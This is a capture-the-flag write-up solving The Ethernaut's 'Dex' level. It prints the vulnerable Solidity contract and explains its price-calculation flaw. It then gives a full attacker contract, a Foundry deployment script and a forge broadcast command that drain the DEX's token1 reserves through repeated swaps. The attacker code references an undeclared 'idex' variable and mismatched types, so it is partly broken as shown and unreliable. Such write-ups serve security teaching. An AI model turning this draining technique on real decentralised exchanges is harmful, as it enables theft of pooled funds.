The Ethernaut CTF Solutions | 22 - Dex
Trading to Zero: Exploiting Price Calculation Flaws in a Simplified CFAMM DEX
Goals
The Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
// import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
// import 'openzeppelin-contracts-08/access/Ownable.sol';
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {Ownable} from "../helpers/Ownable-05.sol";
contract Dex is Ownable {
address public token1;
address public token2;
constructor() {}
function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}
function addLiquidity(address token_address, uint amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}
function swap(address from, address to, uint amount) public {
require(
(from == token1 && to == token2) ||
(from == token2 && to == token1),
"Invalid tokens"
);
require(
IERC20(from).balanceOf(msg.sender) >= amount,
"Not enough to swap"
);
uint swapAmount = getSwapPrice(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
function getSwapPrice(
address from,
address to,
uint amount
) public view returns (uint) {
return ((amount * IERC20(to).balanceOf(address(this))) /
IERC20(from).balanceOf(address(this)));
}
function approve(address spender, uint amount) public {
SwappableToken(token1).approve(msg.sender, spender, amount);
SwappableToken(token2).approve(msg.sender, spender, amount);
}
function balanceOf(
address token,
address account
) public view returns (uint) {
return IERC20(token).balanceOf(account);
}
}
contract SwappableToken is ERC20 {
address private _dex;
constructor(
address dexInstance,
string memory name,
string memory symbol,
uint256 initialSupply
) ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}
function approve(address owner, address spender, uint256 amount) public {
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}
A longer contract this time and a deeper dive into DeFi and token swap mechanisms in a simplified dex (Decentralized Exchange). Let's jump in!
The hack
This CFAMM dex is a super simplified version of Uniswap V2. The price of an asset is derived from the following Constant Function (Hence the CF in CFAMM): x * y = k
where x
is the liquidity of token1 and y
is the liquidity of token2. So:
The price of token1 in terms of token2 can be calculated like this:
y / x
.The price of token2 in terms of token1 can be calculated like this:
x / y
.
However, the getSwapPrice()
function doesn't respect this x * y = k
invariant because it does not adjust the balances post-swap to maintain the constant.
function getSwapPrice(
address from,
address to,
uint amount
) public view returns (uint) {
return ((amount * IERC20(to).balanceOf(address(this))) /
IERC20(from).balanceOf(address(this)));
}
The correct method to calculate the output amount for CFAMM swaps (such as in Uniswap) involves considering the liquidity fee and the resultant pool sizes after the swap.
Let's start swapping some tokens around to see what happens.
On our first trade, everything was fine. We traded 10 token1 for 10 token2. But is it fine? According to the the CFAMM, we have:
100 token1 * 100 token2 = 10000 constant
On the next trade, we will now have:
110 token1 * 90 token2 = 9460 constant
This is clearly breaking the invariant CF rule, and it will only get worse after each trade! We will be able to use that to our advantage... and wallet. On top of that, floating point are not accounted for.
Amount In | Reserves Token1 | Reserves Token2 | Amount Out | Qty token1 | Qty token2 |
10 | 100 | 100 | 10 | 10 | 10 |
20 | 110 | 90 | 24 | 0 | 20 |
24 | 86 | 110 | 30 | 24 | 0 |
30 | 110 | 80 | 41 | 0 | 30 |
41 | 69 | 110 | 65 | 41 | 0 |
45 | 110 | 45 | 110 | 0 | 65 |
0 | 90 | 110 | 20 |
As shown in the table above, after a few trades, we will reach a point when we can calculate the exact amount of token2 to swap to entirely drain the reserves of token1.
Here is a corrected version of the getSwapPrice()
function. However, understand that this is simply for illustration only and shouldn't be used as such as it does not account for fees nor for floating-point arithmetic.
function getSwapPrice(
address from,
address to,
uint amount
) public view returns (uint) {
uint x = IERC20(from).balanceOf(address(this));
uint y = IERC20(to).balanceOf(address(this));
uint yPrime = x * y / (x + amount);
uint deltaY = y - yPrime;
return deltaY;
}
Solution
Let's implement the contract that will help us in this task:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IDex {
function token1() external returns (address);
function token2() external returns (address);
function swap(address from, address to, uint256 amount) external;
function approve(address spender, uint256 amount) external;
function balanceOf(
address token,
address account
) external view returns (uint256);
}
contract Dexter {
IDex private dex;
IERC20 private immutable token1;
IERC20 private immutable token2;
constructor(address _dex) {
dex = IDex(_dex);
token1 = IERC20(idex.token1());
token2 = IERC20(idex.token2());
}
function attack() public {
token1.transferFrom(msg.sender, address(this), 10);
token2.transferFrom(msg.sender, address(this), 10);
idex.approve(address(idex), type(uint256).max);
_swap(token1, token2); // 10 in | 100 - 100 | 10 out (10*100/100 = 10)
_swap(token2, token1); // 20 in | 110 - 90 | 24 out (20*110/90 = 24)
_swap(token1, token2); // 24 in | 86 - 110 | 30 out (24*110/86 = 30)
_swap(token2, token1); // 30 in | 110 - 80 | 41 out (30*110/80 = 41)
_swap(token1, token2); // 41 in | 69 - 110 | 65 out (41*110/67 = 65)
idex.swap(token2, token1, 45);
token1.transfer(msg.sender, idex.balanceOf(token1, address(this)));
token2.transfer(msg.sender, idex.balanceOf(token2, address(this)));
require(idex.balanceOf(token1, address(idex)) == 0, "Attack failed!");
}
function _swap(address tokenIn, address tokenOut) private {
uint256 amount = idex.balanceOf(tokenIn, address(this));
idex.swap(tokenIn, tokenOut, amount);
}
}
The required steps are the following:
Deploy the Dexter contract;
Approve the Dex contract to use the Dexter tokens;
Send all token1 and token2 to the Dexter contract;
Swap token1 for token2 and vice versa until the reserves are drained;
Transfer the tokens back to your wallet (optional here).
Now, we can write our deployment script to handle the launch of our attack and beat the Dex level:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {Script, console2} from "forge-std/Script.sol";
import {Dexter} from "../src/22_Dex.sol";
interface IDex {
function token1() external view returns (address);
function approve(address spender, uint256 amount) external;
function balanceOf(
address token,
address account
) external view returns (uint256);
}
contract PoC is Script {
// Replace with your Dex instance
IDex dex = IDex(0x98E7fF2DfFF412D7E9e03A51AE0f63f9e983C3cE);
function run() external {
uint256 deployer = vm.envUint("PRIVATE_KEY");
vm.startBroadcast(deployer);
Dexter dexter = new Dexter(address(dex));
dex.approve(address(dexter), type(uint256).max);
dexter.attack();
console2.log(
"Dex token 1 reserve: ",
dex.balanceOf(dex.token1(), address(dex))
);
vm.stopBroadcast();
}
}
You can run the script with the following command:
forge script script/22_Dex.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY
๐ Level completed ๐
Note that for more complex calculations, we could have used a fuzzer to try random values for us and get to the same conclusion.
Takeaway
Always be super careful when dealing with arithmetic and division in Solidity.
Fuzzer like Foundry & Echidna are your best friends to easily test all (most of) calculations edge cases.
Always use multiple sources of truth in your contracts (Chainlink and UniswapV3 TWAP are more reliable than UniswapV2).
Reference
- UniswapV2Pair: https://github.com/Uniswap/v2-core/blob/ee547b17853e71ed4e0101ccfd52e70d5acded58/contracts/UniswapV2Pair.sol#L182
You can find all the codes, challenges and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/